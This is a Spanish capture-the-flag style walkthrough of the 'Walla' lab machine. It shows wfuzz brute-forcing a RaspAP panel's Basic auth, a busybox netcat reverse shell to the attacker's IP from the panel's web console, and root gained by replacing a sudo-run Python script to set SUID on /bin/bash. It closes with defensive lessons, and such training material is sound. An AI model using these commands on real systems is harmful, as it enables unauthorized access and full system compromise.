Walla
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Walla expone un panel RaspAP (lighttpd) en el 8091 protegido con HTTP Basic. Una fuerza bruta encuentraadmin:secret(fuerza bruta); dentro, RaspAP incluye una consola web que ejecuta comandos comowww-data, desde la que lanzamos una reverse shell.www-datapuede ejecutar consudoun script Python (/home/walter/wifi_reset.py) cuyo directorio es escribible porwww-data: lo reescribimos para que haga SUID a/bin/bash(sudo sobre script escribible) y unbash -p(abuso de SUID) nos daroot.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
ping -c 1 192.168.173.9764 bytes from 192.168.173.97: icmp_seq=1 ttl=61 time=35.8 msBarremos todos los puertos TCP y luego identificamos versiones:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.173.97PORT STATE SERVICE
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
422/tcp open ssh
8091/tcp open http
42042/tcp open sshnmap -p22,23,25,53,422,8091,42042 -sCV 192.168.173.97 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain tcpwrapped
422/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
8091/tcp open http lighttpd 1.4.53
|_http-auth: Basic realm=RaspAP
42042/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)Muchos puertos, pero el que define la máquina es el 8091: un lighttpd que pide HTTP Basic con el realm RaspAP (el panel de administración de puntos de acceso para Raspberry Pi). Hay además tres SSH (22, 422, 42042), telnet y un Postfix; los anotamos, pero el camino entra por RaspAP.
HTTP (RaspAP) - TCP 8091
El navegador pide usuario y contraseña (autenticación básica del servidor, no un formulario):

RaspAP tiene un usuario por defecto conocido (admin), así que el ataque natural es fuerza bruta de la contraseña sobre el Basic Auth.
Acceso inicial
Fuerza bruta del HTTP Basic
Con wfuzz probamos contraseñas para admin contra el Basic Auth, descartando los 401 (fallo) y 503:
wfuzz -u http://192.168.173.97:8091/ --basic "admin:FUZZ" -w /usr/share/wordlists/rockyou.txt -t 200 --hc=401,503
000000045: 200 278 L 830 W 12303 Ch "secret"La única respuesta 200 corresponde a la contraseña secret: las credenciales del panel son admin:secret (fuerza bruta).
Consola web de RaspAP: reverse shell
Ya dentro de RaspAP, en System hay una pestaña Console: una terminal web que ejecuta comandos en el servidor. Comprobamos como qué usuario corre:

uid=33(www-data) gid=33(www-data) groups=33(www-data)Tenemos ejecución de comandos como www-data. Como hay telnet/puertos altos disponibles, lanzamos una reverse shell con busybox netcat hacia nuestro listener:
Antes de disparar la shell, dejamos Penelope a la escucha en el 23:
penelope 23busybox nc 192.168.45.153 23 -e bash
(Penelope)> listeners add -p 23
[+] Got reverse shell from walla~192.168.173.97-Linux-x86_64 Assigned SessionID <1>
www-data@walla:/var/www/html/includes$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Leemos la primera prueba (está en el home de walter):
cat /home/walter/local.txt && ip a && hostname && whoami
39a39b276526c2310807ede8af2658ebEscalada de privilegios
sudo sobre un script Python escribible
Revisamos sudo -l y el home de walter. Aparecen dos cosas que encajan:
ls -l /home
sudo -l
drwxr-xr-x 2 www-data www-data 4096 Sep 17 2020 walter
...
User www-data may run the following commands on walla:
(ALL) NOPASSWD: /sbin/ifup
(ALL) NOPASSWD: /usr/bin/python /home/walter/wifi_reset.py
(ALL) NOPASSWD: /bin/systemctl start hostapd.service
...La clave es que www-data puede ejecutar wifi_reset.py como root con sudo, y el directorio /home/walter es propiedad de www-data. Aunque el script en sí esté protegido contra escritura, como somos dueños del directorio podemos borrarlo y volver a crearlo con el contenido que queramos (sudo sobre un script escribible). Lo sustituimos por un script que ponga el bit SUID a /bin/bash:
rm /home/walter/wifi_reset.py
cat > /home/walter/wifi_reset.py <<'EOF'
import os
os.system("chmod u+s /bin/bash")
EOF
www-data@walla:/home$ rm /home/walter/wifi_reset.py
rm: remove write-protected regular file '/home/walter/wifi_reset.py'? y
www-data@walla:/home$ cat walter/wifi_reset.py
import os
os.system("chmod u+s /bin/bash")Lo ejecutamos por sudo (corre como root) y comprobamos que /bin/bash queda SUID; con bash -p mantenemos el euid de root (abuso de binario SUID):
sudo /usr/bin/python /home/walter/wifi_reset.py
ls -l /bin/bash
bash -p
id
-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)Leemos la prueba final:
cat /root/proof.txt && whoami && ip a && hostname
6422cd7f22628ea4cc487e0e01e6ddd9Cadena de ataque
RaspAP (8091, HTTP Basic) -- wfuzz admin:FUZZ
│ admin:secret
▼
consola web de RaspAP (System > Console) -- www-data
│ busybox nc -> reverse shell
▼
shell como www-data (local.txt)
│ sudo NOPASSWD python /home/walter/wifi_reset.py + dir escribible por www-data
│ reescribir script -> chmod u+s /bin/bash -> bash -p
▼
shell como root (proof.txt)Lecciones aprendidas
- El HTTP Basic no protege de un diccionario. Con el usuario por defecto (
admin) y una contraseña de rockyou (secret),wfuzzentra en minutos. Las contraseñas de paneles de administración deben ser largas y aleatorias, y conviene limitar los intentos. - Una consola web es una shell. RaspAP ofrece una terminal en el navegador; con credenciales válidas, el panel equivale a ejecución de comandos como su usuario de servicio (
www-data). - No basta con proteger el script: importa quién posee su carpeta. El
sudoapuntaba a un fichero concreto, pero su directorio era dewww-data. Poder borrar y recrear el fichero es lo mismo que poder editarlo: el binario o script al que apuntasudo, y su directorio, deben ser propiedad deroot. sudosobre un intérprete es ejecución arbitraria. Ejecutarpython <script>comorootno acota nada si controlamos el script; conviene fijar binarios concretos y rutas no manipulables, nunca intérpretes con argumentos editables.